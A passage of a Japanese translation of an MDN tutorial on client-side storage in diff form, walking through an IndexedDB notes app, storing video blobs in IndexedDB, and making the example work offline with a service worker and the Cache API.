ハンドラーは、要求が成功裡に戻ってくる場合、つまりデータベースをうまく開けた場合に、実行されます。この場合、開いたデータベースを表すオブジェクトが、{{domxref("IDBRequest.result", "request.result")}} というプロパティで利用可能となります。それにより、データベースを操作できるようになります。後で使うために、と事前に作っておいた <code>db</code> という変数に、このオブジェクトを保存します。また、<code>displayData()</code> と呼ばれるカスタム関数も実行します。この関数は、データベース内のデータを {{HTMLElement("ul")}} 内部に表示します。すでにデータベース内にあるメモ書きが、ページがロードされ次第すぐに表示されるように、ここでこの関数を実行しています。この関数を定義する様子は、後で見ることにしましょう。</p> + </li> + <li> + <p>本節の最後では、データベースを設定するためには多分もっとも重要なイベント・ハンドラーを追加しましょう。つまり、{{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupgradeneeded")}} です。このハンドラーは、データベースがまだ設定されていなかった場合、あるいは、保存済みの既存のデータベースよりも上のバージョン番号でデータベースが開かれた場合 (アップグレードを行う場合) に、実行されます。前のハンドラーの下に、以下のコードを追加してください。</p> + + <pre class="brush: js notranslate">// これがまだ実行されていない場合に、データベースのテーブルを設定します。 +request.onupgradeneeded = function(e) { + // 開いたデータベースに対する参照を求めます。 + let db = e.target.result; + + // 自動的にインクリメントするキーを含んでおり、メモ書きを中に保存するための + // (基本的に一つのテーブルに類似した) objectStore を、作成します。 + let objectStore = db.createObjectStore('notes', { keyPath: 'id', autoIncrement:true }); + + // objectStore が含むことになるデータ項目を定義します。 + objectStore.createIndex('title', 'title', { unique: false }); + objectStore.createIndex('body', 'body', { unique: false }); + + console.log('Database setup complete'); +};</pre> + + <p>ここは、データベースのスキーマ (構造) ——すなわち、データベースが含む列 (ないしフィールド) の集合——を定義している箇所です。ここではまず、<code>e.target.result</code> (イベント・ターゲットの <code>result</code> というプロパティ) から、既存のデータベースへの参照を求めていますが、これ (<code>e.target</code> というイベント・ターゲット) は、<code>request</code> というオブジェクトです。この行は、<code>onsuccess</code> ハンドラーの中の <code>db = request.result;</code> という行と等価です。しかし、それとは別に、ここでこのようにする必要があります。なぜなら、<code>onupgradeneeded</code> ハンドラーは、(もし必要な場合には) <code>onsuccess</code> ハンドラーよりも前に実行されることになる——つまり、もしここでこのようにしておかなければ、<code>db</code> の値を利用できない——からです。</p> + + <p>それから、{{domxref("IDBDatabase.createObjectStore()")}} を用いて、開いたデータベースの内部に新たなオブジェクト・ストアを作成します。これは、従来のデータベース・システムにおける一つのテーブルと等価です。このオブジェクト・ストアには <code>notes</code> という名前をつけました。また、<code>id</code> と呼ばれる <code>autoIncrement</code> キーのフィールドも指定しました。新規レコードの各々において、このフィールドには、インクリメントされた値が自動的に与えられ、開発者は、このフィールドを明示的に設定する必要がありません。キーであるがゆえに、<code>id</code> フィールドは、たとえばレコードを削除または表示する際に、レコードを一意に識別するのに使われることでしょう。</p> + + <p>{{domxref("IDBObjectStore.createIndex()")}} メソッドを用いて、別の二つのインデックス (フィールド) も作成します。すなわち、<code>title</code> (それぞれのメモ書きの題名を含むことになります) と、<code>body</code> (そのメモ書きの本文を含むことになります) を作成します。</p> + </li> +</ol> + +<p>以上のようにこの簡素なデータベース・スキーマを設定したので、データベースにレコードを追加し始めれば、それぞれのレコードは、以下の行のようなオブジェクトとして表現されることでしょう。</p> + +<pre class="brush: js notranslate">{ + title: "Buy milk", + body: "Need both cows milk and soy.", + id: 8 +}</pre> + +<h3 id="Adding_data_to_the_database" name="Adding_data_to_the_database">データをデータベースに追加します</h3> + +<p>それでは、どのようにしたらデータベースにレコードを追加できるか、その方法を見てみましょう。これは、ページ上のフォームを使って行われます。</p> + +<p>前のイベント・ハンドラーの下に (ただし、やはり <code>window.onload</code> ハンドラーの内部に)、 以下の行を追加してください。以下の行では、フォームが送信された際に (送信 {{htmlelement("button")}} が押され、成功したフォーム送信、という結果に至ったときに)、<code>addData()</code> と呼ばれる関数を実行する、<code>onsubmit</code> ハンドラーを設定しています。</p> + +<pre class="brush: js notranslate">// フォームが送信されたときに addData() 関数が実行されるように、onsubmit ハンドラーを作成します。 +form.onsubmit = addData;</pre> + +<p>では、<code>addData()</code> 関数を定義しましょう。上記の行の下に、以下のものを追加してください。</p> + +<pre class="brush: js notranslate">// addData() 関数を定義します。 +function addData(e) { + // デフォルト動作を防止します。従来通りの方法でフォームを送信したくはないからです。 + e.preventDefault(); + + // フォーム・フィールドに入力された値を求めます。そして、それらの値を、データベースへ挿入すべく準備してあるオブジェクトに保存します。 + let newItem = { title: titleInput.value, body: bodyInput.value }; + + // 読み書きのデータベース・トランザクションを開いて、データの追加に備えます。 + let transaction = db.transaction(['notes'], 'readwrite'); + + // データベースに追加済みのオブジェクト・ストアを呼び出します。 + let objectStore = transaction.objectStore('notes'); + + // newItem というオブジェクトをオブジェクト・ストアに追加するための要求を作ります。 + let request = objectStore.add(newItem); + request.onsuccess = function() { + // フォームをクリアして、次のエントリーの追加に備えます。 + titleInput.value = ''; + bodyInput.value = ''; + }; + + // すべてが済んだら、完了するトランザクションの成功を報告します。 + transaction.oncomplete = function() { + console.log('Transaction completed: database modification finished.'); + + // displayData() を再度実行することによって、データの表示を更新して、新たに追加した項目を表示します。 + displayData(); + }; + + transaction.onerror = function() { + console.log('Transaction not opened due to error'); + }; +}</pre> + +<p>これは割と複雑ですね。噛み砕くと、以下の通りです。</p> + +<ul> + <li>フォームが実際に従来通りの方法で送信してしまうこと (これはページ・リフレッシュを引き起こし、体験をそこなうでしょう) を防ぐために、イベント・オブジェクトに対して {{domxref("Event.preventDefault()")}} を実行します。</li> + <li>データベースに入力すべきレコードを表すオブジェクトを作成します。その際、そのオブジェクトには、フォーム入力からの値を埋め込みます。<code>id</code> の値を明示的に含める必要がないことに注意してください。以前説明したとおり、これは自動的に埋め込まれます。</li> + <li>{{domxref("IDBDatabase.transaction()")}} メソッドを用いて、<code>notes</code> というオブジェクト・ストアに対する<code>readwrite</code> (読み書き) トランザクションを開きます。このトランザクション・オブジェクトのおかげでオブジェクト・ストアにアクセスできるようになり、オブジェクト・ストアに対して何か——たとえば新規レコードの追加など——を行えるようになります。</li> + <li>{{domxref("IDBTransaction.objectStore()")}}メソッドを用いてオブジェクト・ストアにアクセスし、その結果を <code>objectStore</code> という変数に保存します。</li> + <li> {{domxref("IDBObjectStore.add()")}} を用いて、データベースに新規レコードを追加します。これは、以前見たのと同様の方法で、要求オブジェクトを作り出します。</li> + <li>ライフサイクル内での重大な時点 (クリティカル・ポイント) においてコードを実行するために、<code>request</code> (要求) と <code>transaction</code> (トランザクション) に対する一群のイベント・ハンドラーを追加します。要求が成功したら、次のメモ書きの入力に備えてフォーム入力をクリアします。トランザクションが完了したら、ページ上のメモ書きの表示を更新するために、<code>displayData()</code> 関数を再び実行します。</li> +</ul> + +<h3 id="Displaying_the_data" name="Displaying_the_data">データを表示します</h3> + +<p>すでにコード内で <code>displayData()</code> を二度も参照したからには、多分これを定義すべきでしょうね。以下のものをコードに (今までの関数定義の下に) 追加してください。</p> + +<pre class="brush: js notranslate">// displayData() 関数を定義します。 +function displayData() { + // ここでは、表示を更新するたびにリスト要素の中身を空にします。 + // もしこのようにしなかったら、新たなメモ書きを追加するたびに複製を列挙する羽目になるでしょう。 + while (list.firstChild) { + list.removeChild(list.firstChild); + } + + // オブジェクト・ストアを開き、それから、カーソルを取得します。 + // カーソルは、ストア内の異なるデータ項目のすべてにわたって反復処理を行うものです。 + let objectStore = db.transaction('notes').objectStore('notes'); + objectStore.openCursor().onsuccess = function(e) { + // カーソルへの参照を求めます。 + let cursor = e.target.result; + + // 反復処理を行うべき別のデータ項目がまだあれば、このコードを実行し続けます。 + if(cursor) { + // 各データ項目を表示する際にそのデータ項目を中に入れるための、リスト項目と h3 と p とを作成します。 + // HTML 断片を組み立てて、それをリスト内の最後に追加します。 + const listItem = document.createElement('li'); + const h3 = document.createElement('h3'); + const para = document.createElement('p'); + + listItem.appendChild(h3); + listItem.appendChild(para); + list.appendChild(listItem); + + // h3 および para の内部に、カーソルからのデータを入れます。 + h3.textContent = cursor.value.title; + para.textContent = cursor.value.body; + + // listItem の属性内部に、このデータ項目の ID を保存します。こうすると、 + // listItem がどの項目に対応しているのかがわかります。これは、後で項目を削除したくなったときに有用です。 + listItem.setAttribute('data-note-id', cursor.value.id); + + // ボタンを作成し、それを各 listItem の内部に設置します。 + const deleteBtn = document.createElement('button'); + listItem.appendChild(deleteBtn); + deleteBtn.textContent = 'Delete'; + + // ボタンがクリックされたら deleteItem() 関数が実行されるように、 + // イベント・ハンドラーを設定します。 + deleteBtn.onclick = deleteItem; + + // カーソルにおける次の項目へと反復処理を進めます。 + cursor.continue(); + } else { + // またもや、リスト項目が空であれば、'No notes stored' (メモ書きは何も保存されていません) というメッセージを表示します。 + if(!list.firstChild) { + const listItem = document.createElement('li'); + listItem.textContent = 'No notes stored.'; + list.appendChild(listItem); + } + // 反復処理をすべきカーソル項目がこれ以上ない場合、そのように示します。 + console.log('Notes all displayed'); + } + }; +}</pre> + +<p>再びになりますが、これを噛み砕いてみましょう。</p> + +<ul> + <li>まず、更新した中身を埋め込む前に、{{htmlelement("ul")}} 要素の中身を空っぽにします。これを行わないと、遂には、更新のたびに追加された複製された中身からなる巨大なリストができあがってしまいます。</li> + <li>次に、{{domxref("IDBDatabase.transaction()")}} と {{domxref("IDBTransaction.objectStore()")}} を用いて、<code>addData()</code> で行ったのと同様にして (ただしここではこれらを繋いで 1 行にまとめている点が異なりますが)、<code>notes</code> というオブジェクト・ストアへの参照を求めます。</li> + <li>次の段階は、{{domxref("IDBObjectStore.openCursor()")}} メソッドを使って、カーソルに対する要求を開くことです。カーソルとは、オブジェクト・ストア内の全レコードにわたって反復処理を行うのに使える構造体です。コードをより簡潔にするために、この行の最後に <code>onsuccess</code> ハンドラーを繋げています。カーソルが成功裡に返されると、このハンドラーが実行されます。</li> + <li><code>let cursor = e.target.result</code> を用いて、カーソル自体 ({{domxref("IDBCursor")}} オブジェクト) に対する参照を求めています。</li> + <li>次に、カーソルがデータストアのレコードを含むか否かを調べます (<code>if(cursor){ ... }</code>)。もし含むなら、DOM 断片を作成し、その断片にレコードのデータを埋め込み、ページ内に (<code><ul></code> 要素の内部に) その断片を挿入します。また、クリックされたら <code>deleteItem()</code> 関数を実行することによって当該メモ書きを削除するような削除ボタンも含めておきます。この関数は、次の節で見ることにします。</li> + <li><code>if</code> ブロックの最後では、{{domxref("IDBCursor.continue()")}} メソッドを用いてカーソルをデータストア内の次のレコードへと進め、<code>if</code> ブロックの中身を再び実行します。反復処理をすべき別のレコードがある場合には、こうすることにより、その別のレコードがページに挿入されることになり、その後また <code>continue()</code> が実行され、以下同様に続きます。</li> + <li>反復処理をすべき対象のレコードがもうない場合、<code>cursor</code> は <code>undefined</code> を返すことになります。よって、<code>if</code> ブロックの代わりに <code>else</code> ブロックが実行されることになります。このブロックでは、<code><ul></code> に何らかのメモ書きが挿入されたかどうかを調べます。もし何も挿入されていなければ、何もメモ書きが保存されていなかった旨を述べるメッセージを挿入します。</li> +</ul> + +<h3 id="Deleting_a_note" name="Deleting_a_note">メモ書きを削除します</h3> + +<p>上述のとおり、メモ書きの削除ボタンが押されると、そのメモ書きは削除されます。これは、<code>deleteItem()</code> 関数により達成されます。この関数は以下のようなものです。</p> + +<pre class="brush: js notranslate">// deleteItem() 関数を定義します。 +function deleteItem(e) { + // 削除したいタスクの名前 (訳注: ID の間違い?) を取り出します。 + // それを IDB で使おうとする前に、数値に変換する必要があります。 + // IDB のキーの値には、型による区別があるのです。 + let noteId = Number(e.target.parentNode.getAttribute('data-note-id')); + + // データベース・トランザクションを開き、当該タスクを削除します。その際、上記で取得した ID を用いて、当該タスクを見つけます。 + let transaction = db.transaction(['notes'], 'readwrite'); + let objectStore = transaction.objectStore('notes'); + let request = objectStore.delete(noteId); + + // データ項目を削除したことを報告します。 + transaction.oncomplete = function() { + // ボタンの親——リスト項目——を削除します。 + // すると、それはもはや表示されなくなります。 + e.target.parentNode.parentNode.removeChild(e.target.parentNode); + console.log('Note ' + noteId + ' deleted.'); + + // 再びになりますが、リスト項目が空の場合は、'No notes stored' (メモ書きは何も保存されていません) というメッセージを表示します。 + if(!list.firstChild) { + let listItem = document.createElement('li'); + listItem.textContent = 'No notes stored.'; + list.appendChild(listItem); + } + }; +}</pre> + +<ul> + <li>これの最初の部分は説明を要します。 <code>Number(e.target.parentNode.getAttribute('data-note-id'))</code> を用いて、削除すべきレコードの ID を取り出します。レコードの ID は、最初にその <code><li></code> が表示された際にその <code><li></code> の <code>data-note-id</code> という属性に保存されている、ということを思い出してください。しかし、その属性は、 <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Number">Number()</a> というグローバル・ビルトイン・オブジェクトを通じて渡す必要があります。なぜなら、属性は今のところ文字列であり、こうしなければデータベースに認識されないからです。</li> + <li>それから、以前に見たのと同じパターンを使って、オブジェクト・ストアへの参照を求めます。そして、{{domxref("IDBObjectStore.delete()")}} メソッドを用いて、データベースから当該レコードを削除します。その際、データベースには ID を渡します。</li> + <li>データベース・トランザクションが完了したら、当該メモ書きの <code><li></code> を DOM から削除します。そして再び、<code><ul></code> が現時点で空かどうかを調べ、適宜注記を挿入します。</li> +</ul> + +<p>さあ、これで全部終わりです! あなたの例は今やちゃんと動くはずですよ。</p> + +<p>もし問題があれば、気軽に <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/notes/">ライブ例と突き合わせてみてください</a> (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.js">ソースコード</a> も参照してください)。</p> + +<h3 id="Storing_complex_data_via_IndexedDB" name="Storing_complex_data_via_IndexedDB">IndexedDB を通じて複雑なデータを保存します</h3> + +<p>上述のとおり、IndexedDB は、単純なテキスト文字列以上のものを保存するのに使えます。望むものはほとんど何でも——動画や静止画像のブロブ (blob) のような、複雑なオブジェクトまで含めて——保存できるのです。しかも、他のどの型のデータと比べても、達成するのがずっと困難だという訳でもないのです。</p> + +<p>やり方を実演するために、<a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/indexeddb/video-store">IndexedDB 動画ストア</a> と呼ばれる別の例を書きました (<a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/video-store/">ここでライブで動いているところも</a> 参照してください)。この例を最初に実行すると、すべての動画をネットワークからダウンロードして IndexedDB データベースに保存し、それから、{{htmlelement("video")}} 要素内部の UI の中に動画を表示します。二度目に実行すると、動画を表示する前に、データベース内の動画を見つけ出し、(ネットワークからダウンロードする) 代わりにそこから動画を取ってきます。こうすることにより、後続のロードは高速化され、帯域幅をあまり食わなくなります。</p> + +<p>この例のもっとも興味深い部分を見て回りましょう。すべては見ないことにします。というのも、多くの部分は前の例に類似しており、コードにはちゃんとコメントがつけてありますから。</p> + +<ol> + <li> + <p>この単純な例のために、取得すべき動画の名前をオブジェクトの配列の形で保存しておきました。</p> + + <pre class="brush: js notranslate">const videos = [ + { 'name' : 'crystal' }, + { 'name' : 'elf' }, + { 'name' : 'frog' }, + { 'name' : 'monster' }, + { 'name' : 'pig' }, + { 'name' : 'rabbit' } +];</pre> + </li> + <li> + <p>まずはじめに、データベースを成功裡に開くことができたら、<code>init()</code> 関数を実行します。これは、異なる動画の名前をループしてゆきますが、その際、それぞれの名前で識別されるレコードを <code>videos</code> というデータベースからロードしようと試みます。</p> + + <p>各々の動画がデータベース内で見つかったら (これは、<code>request.result</code> が <code>true</code> と評価されるかどうかを調べることにより、容易に確認できます。もしレコードが存在しなければ、<code>undefined</code> となります)、その動画ファイル (ブロブとして保存されています) および動画の名前が、UI に配置するために、すぐに <code>displayVideo()</code> 関数へと渡されます。もし動画がデータベース内で見つからなければ、動画の名前が <code>fetchVideoFromNetwork()</code> 関数に渡されます。それが何のためか、見当がついていることでしょうが……そう、その動画をネットワークから取ってくるためです。</p> + + <pre class="brush: js notranslate">function init() { + // 動画の名前を一つずつループしてゆきます。 + for(let i = 0; i < videos.length; i++) { + // トランザクションを開き、オブジェクト・ストアを取得し、名前によって各動画を get() します。 + let objectStore = db.transaction('videos').objectStore('videos'); + let request = objectStore.get(videos[i].name); + request.onsuccess = function() { + // もし結果がデータベース内に存在したら (存在しなければ undefined)、 + if(request.result) { + // displayVideo() を用いて、動画を IDB から取り出して表示します。 + console.log('taking videos from IDB'); + displayVideo(request.result.mp4, request.result.webm, request.result.name); + } else { + // 動画をネットワークから取ってきます。 + fetchVideoFromNetwork(videos[i]); + } + }; + } +}</pre> + </li> + <li> + <p>以下のスニペットは、<code>fetchVideoFromNetwork()</code> の内部から取ったものです。ここでは、二つの別々の {{domxref("fetch()", "WindowOrWorkerGlobalScope.fetch()")}} 要求を用いて、MP4 版の動画と WebM 版の動画を取ってきます。それから、{{domxref("blob()", "Body.blob()")}} メソッドを用いて、それぞれの応答の本体をブロブとして抽出します。このブロブは、保存して後で表示することの可能な、動画のオブジェクト表現を与えてくれます。</p> + + <p>しかし、ここで問題があります。これらの二つの要求はどちらも非同期的なのですが、双方のプロミスが成立 (fulfill) した場合にだけ動画を表示もしくは保存しようと試みたいのです。幸い、そうした問題を扱うビルトイン・メソッドがあります。すなわち {{jsxref("Promise.all()")}} です。これは一つの引数——成立したかどうかを調べたい個々のプロミスすべてに対する参照を配列に入れたもの——をとり、これ自体がプロミスに基づいています。</p> + + <p>それらのプロミスすべてが成立したら、成立した個々の値すべてを含む配列をともなって、<code>all()</code> プロミスも成立します。<code>all()</code> のブロック内部では、以前 UI に動画を表示するために行ったのと同様にして <code>displayVideo()</code> 関数を呼び出していること、そして、それらの動画をデータベース内に保存するために <code>storeVideo()</code> 関数も呼び出していることが、お分かりでしょう。</p> + + <pre class="brush: js notranslate">let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response => + response.blob() +); +let webmBlob = fetch('videos/' + video.name + '.webm').then(response => + response.blob() +); + +// 双方のプロミスが成立したときのみ、次のコードを実行します。 +Promise.all([mp4Blob, webmBlob]).then(function(values) { + // ネットワークから取ってきた動画を、displayVideo() により表示します。 + displayVideo(values[0], values[1], video.name); + // storeVideo() を用いて、その動画を IDB に保存します。 + storeVideo(values[0], values[1], video.name); +});</pre> + </li> + <li> + <p>まず <code>storeVideo()</code> を見ましょう。これは、データベースにデータを追加するための上記の例で見たパターンに、とてもよく似ています。つまり、<code>readwrite</code> (読み書き) トランザクションを開き、<code>videos</code> に対するオブジェクト・ストア参照を求め、データベースに追加すべきレコードを表すオブジェクトを作成し、それから、{{domxref("IDBObjectStore.add()")}} を用いてそのオブジェクトを単純に追加しています。</p> + + <pre class="brush: js notranslate">function storeVideo(mp4Blob, webmBlob, name) { + // トランザクションを開き、オブジェクト・ストアを求めます。IDB に書き込めるようにするために、これは読み書きトランザクションにしておきます。 + let objectStore = db.transaction(['videos'], 'readwrite').objectStore('videos'); + // IDB に追加するレコードを作成します。 + let record = { + mp4 : mp4Blob, + webm : webmBlob, + name : name + } + + // add() を使ってレコードを IDB に追加します。 + let request = objectStore.add(record); + + ... + +};</pre> + </li> + <li> + <p>最後に、<code>displayVideo()</code> があります。これは、UI に動画を挿入するのに必要な DOM 要素を作成してから、それらの DOM 要素をページに追加します。これの一番面白い部分は、以下に示した箇所です。<code><video></code> 要素内に動画ブロブを実際に表示するには、{{domxref("URL.createObjectURL()")}} メソッドを使って、オブジェクト URL (メモリに記憶されている動画ブロブを指し示す内部 URL) を作成せねばならないのです。それが済んだら、オブジェクト URL を {{htmlelement("source")}} 要素の <code>src</code> 属性の値として設定できて、物事がうまく機能します。</p> + + <pre class="brush: js notranslate">function displayVideo(mp4Blob, webmBlob, title) { + // ブロブからオブジェクト URL を作成します。 + let mp4URL = URL.createObjectURL(mp4Blob); + let webmURL = URL.createObjectURL(webmBlob); + + ... + + const video = document.createElement('video'); + video.controls = true; + const source1 = document.createElement('source'); + source1.src = mp4URL; + source1.type = 'video/mp4'; + const source2 = document.createElement('source'); + source2.src = webmURL; + source2.type = 'video/webm'; + + ... +}</pre> + </li> +</ol> + +<h2 id="Offline_asset_storage" name="Offline_asset_storage">オフラインでの資産の保存</h2> + +<p>上記の例は、IndexedDB データベース内に大規模な資産を保存するアプリの作り方を既に示しており、こうすることで、それらの大規模な資産を二度以上ダウンロードする必要性をなくしています。これは既にユーザー体験にとっての多大なる進歩ではありますが、まだ一つ欠けていることがあります。すなわち、依然として、主たる HTML と CSS と JavaScript のファイルを、サイトにアクセスするたびにダウンロードせねばならないのです。これが意味することは、ネットワーク接続がない場合にはサイトが動作しないということです。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15759/ff-offline.png" style="border-style: solid; border-width: 1px; display: block; height: 307px; margin: 0px auto; width: 765px;"></p> + +<p>ここは、 <a href="/ja/docs/Web/API/Service_Worker_API">サービスワーカー</a> およびそれと緊密に関連した <a href="/ja/docs/Web/API/Cache">キャッシュ API</a> の出番です。</p> + +<p>サービスワーカーとは、ただ単に置いてあって、特定のオリジン (ウェブサイト、または、あるドメインにあるウェブサイトの一部) に対して、そこにブラウザでアクセスした際に登録される、JavaScript ファイルのことです。登録されれば、サービスワーカーは、当該オリジンで利用可能なページを制御できます。サービスワーカーは、ロードされたページとネットワークとの間に位置して、当該オリジン宛のネットワーク要求を横取りすることにより、こうした制御を行います。</p> + +<p>サービスワーカーが要求を横取りすると、その要求に対して望むことは何でも行えますが (<a href="/ja/docs/Web/API/Service_Worker_API#Other_use_case_ideas">使用例の案</a> を参照)、典型例では、ネットワーク応答をオフラインに保存しており、その後、要求に応じて、ネットワークからの応答の代わりに、保存してあるそれらの応答を提供しています。これによって事実上、ウェブサイトを完全にオフラインで機能させることが可能になります。</p> + +<p>キャッシュ API は、クライアント側での保存のもう一つの仕組みですが、これにはちょっとした相違点があります。キャッシュ API は HTTP 応答を保存するように設計されているのです。そのため、サービスワーカーと一緒に使うと、とてもうまく機能します。</p> + +<div class="note"> +<p><strong>注</strong>: サービスワーカーとキャッシュは、現在、ほとんどのモダン・ブラウザーでサポートされています。執筆時点では、Safari はまだ実装するのに忙しかったのですが、もうすぐサポートされるはずです。</p> +</div> + +<h3 id="A_service_worker_example" name="A_service_worker_example">サービスワーカーの例</h3> + +<p>これがどのような感じなのかについて少しばかりお教えするために、例を見ましょう。前節で見た動画ストアの例の、別のバージョンを作っておきました。このバージョンは、サービスワーカーを介してキャッシュ API で HTML と CSS と JavaScript も保存する点を除いて、同等に機能しますが、この点のおかげで、この例がオフラインで実行できるようになるのです!</p> + +<p><a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/">サービスワーカーを用いた IndexedDB 動画ストアがライブで実行中のところ</a> をご覧ください。また、<a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/cache-sw/video-store-offline">ソースコードも参照してください</a>。</p> + +<h4 id="Registering_the_service_worker" name="Registering_the_service_worker">サービスワーカーを登録します</h4> + +<p>注意すべき第一の点は、主たる JavaScript ファイル中に追加のコードが少々ある点です (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js">index.js</a> を参照)。まず、{{domxref("Navigator")}} オブジェクトにおいて <code>serviceWorker</code> メンバーが利用可能かどうかを調べる機能検出検査を行います。もしこれが true を返したら、サービスワーカーの少なくとも基本部分がサポートされていることが分かります。ここの内部では、{{domxref("ServiceWorkerContainer.register()")}} メソッドを用いて、<code>sw.js</code> ファイルに含まれるサービスワーカーを、このファイルのあるオリジンに対して登録します。すると、同一ディレクトリまたは下位ディレクトリにあるページを制御できるようになります。このメソッドのプロミスが成立すると、サービスワーカーは登録されたものと見なされます。</p> + +<pre class="brush: js notranslate"> // サイトがオフラインで動くようにする処理を制御するために、サービスワーカーを登録します。 + + if('serviceWorker' in navigator) { + navigator.serviceWorker + .register('/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js') + .then(function() { console.log('Service Worker Registered'); }); + }</pre> + +<div class="note"> +<p><strong>注</strong>: <code>sw.js</code> ファイルに至るまでの、与えられたパスは、サイト・オリジンに対して相対的なのであり、上記コードを含む JavaScript ファイルに対して相対的なのではありません。サービスワーカーは <code>https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code> にあります。オリジンは <code>https://mdn.github.io</code> です。よって、与えられるパスは、<code>/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code> でなくてはなりません。もしこの例を御自分のサーバーにホストしたいとお思いでしたら、それに合わせて、ここを変更せねばなりません。これはやや混乱を招くところですが、セキュリティ上の理由から、この方法で動作する必要があるのです。</p> +</div> + +<h4 id="Installing_the_service_worker" name="Installing_the_service_worker">サービスワーカーをインストールします</h4> + +<p>サービスワーカーの制御下にあるいずれかのページが次にアクセスされた際には (たとえば、この例がリロードされたときには)、サービスワーカーがそのページに対してインストールされます。それが意味することは、サービスワーカーがそのページを制御し始めるだろう、ということです。これが起きると、サービスワーカーに対して <code>install</code> イベントを発火させます。サービスワーカー自体の内部には、当該インストールに応じるコードを書くことができます。</p> + +<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js">sw.js</a> ファイル (サービスワーカー) 内の例を見てみましょう。<code>self</code> に対して <code>install</code> リスナーが登録されるのがお分かりでしょう。この <code>self</code> というキーワードは、サービスワーカー・ファイルの内部からサービスワーカーのグローバル・スコープを参照する手段です。</p> + +<p><code>install</code> ハンドラーの内部では、{{domxref("ExtendableEvent.waitUntil()")}}メソッド——イベント・オブジェクト上で使えます——を用いて、当メソッドの内部のプロミスが成功して成立するまではブラウザーはサービスワーカーのインストールを完了させるべきではない、と知らせます。</p> + +<p>ここは、キャッシュ API が動作しているのが見られる箇所です。応答を保存できる新規キャッシュ・オブジェクト (IndexedDB オブジェクト・ストアと似ています) を開くために、{{domxref("CacheStorage.open()")}} メソッドを使います。このプロミスは、<code>video-store</code> というキャッシュを表現する {{domxref("Cache")}} オブジェクトをともなって成立します。その後、一連の資源を取ってきて、その応答をキャッシュに追加するために、{{domxref("Cache.addAll()")}} メソッドを使います。</p> + +<pre class="brush: js notranslate">self.addEventListener('install', function(e) { + e.waitUntil( + caches.open('video-store').then(function(cache) { + return cache.addAll([ + '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/', + '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.html', + '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js', + '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/style.css' + ]); + }) + ); +});</pre> + +<p>さて、これで終わりです。インストールが済みました。</p> + +<h4 id="Responding_to_further_requests" name="Responding_to_further_requests">さらなる要求に応答します</h4> + +<p>HTML ページに対してサービスワーカーが登録されてインストールされ、関連する資産がすべてキャッシュに追加されれば、ほぼ開始準備が整っています。すべきことは、あと一つだけです。つまり、さらなるネットワーク要求に応答するための何らかのコードを書くことです。</p> + +<p><code>sw.js</code> における第二のちょっとしたコードがしていることは、こうです。すなわち、サービスワーカーのグローバル・スコープにもう一つのリスナーを追加し、これにより、<code>fetch</code> イベントが生じたときにハンドラー関数を実行します。このイベントは、サービスワーカーの登録先のディレクトリ内の資産に対してブラウザーが要求を出す際には、いつでも生じます。</p> + +<p>ハンドラーの内部では、要求された資産の URL をまず記録します。それから、{{domxref("FetchEvent.respondWith()")}} メソッドを使って、その要求に対するカスタム応答を提供します。</p> + +<p>このブロックの内部では、{{domxref("CacheStorage.match()")}} を用いて、マッチング要求 (URL にマッチします) がいずれかのキャッシュの中に見つかるかどうかを調べます。このプロミスは、マッチが見つからなければ (訳注: 正しくは「見つかれば」?) そのマッチする応答をともなって成立し、マッチが見つからなければ <code>undefined</code> となります。</p> + +<p>もしマッチが見つかれば、単純にそれをカスタム応答として返します。もしマッチが見つからなければ、代わりに、ネットワークから応答を <a href="/ja/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a> して、それを返します。</p> + +<pre class="brush: js notranslate">self.addEventListener('fetch', function(e) { + console.log(e.request.url); + e.respondWith( + caches.match(e.request).then(function(response) { + return response || fetch(e.request); + }) + ); +});</pre> + +<p>これで私たちの単純なサービスワーカーは終わりです。サービスワーカーを使ってできる、もっと多くのことがありますが、より詳しくは、<a href="https://serviceworke.rs/">service worker cookbook</a> を参照してください。また、<a href="https://developers.google.com/web/fundamentals/codelabs/offline/">ウェブアプリへの Service Worker とオフラインの追加</a> という記事について、著者の Paul Kinlan さんに感謝します。あの記事のおかげで、この単純な例の着想を得られました。</p> + +<h4 id="Testing_the_example_offline" name="Testing_the_example_offline">この例をオフラインで試します</h4> + +<p><a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/">サービスワーカー の例</a> を試すには、それが確実にインストールされるように、二、三度ロードする必要があるでしょう。それが済んだら、以下のことができます。</p> + +<ul> + <li>ネットワーク接続ケーブルを抜いてみましょう。あるいは、Wi-Fi を切ってみましょう。</li> + <li>Firefox を使っているなら、[ファイル] > [オフライン作業] を選択してください。</li> + <li>Chrome を使っているなら、[デベロッパーツール] へ進み、 [<em>Application] > [Service Workers]</em> を選び、それから、[<em>Offline] </em>のチェックボックスをチェックしてください。</li> +</ul> + +<p>この例のページをもう一度リフレッシュすれば、当該ページが依然として、まさに申し分なくロードされているところを見ることになるはずです。あらゆるものがオフラインに保存されています。すなわち、ページ資産はキャッシュに保存されており、動画は IndexedDB データベースに保存されています。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>これで終わりです。クライアント側での保存の技術についてのこの概要を、皆さんが有用だと思ってくださったのであれば良いな、と望んでいます。</p> + +<h2 id="See_also" name="See_also">あわせて参照</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Web_Storage_API">Web storage 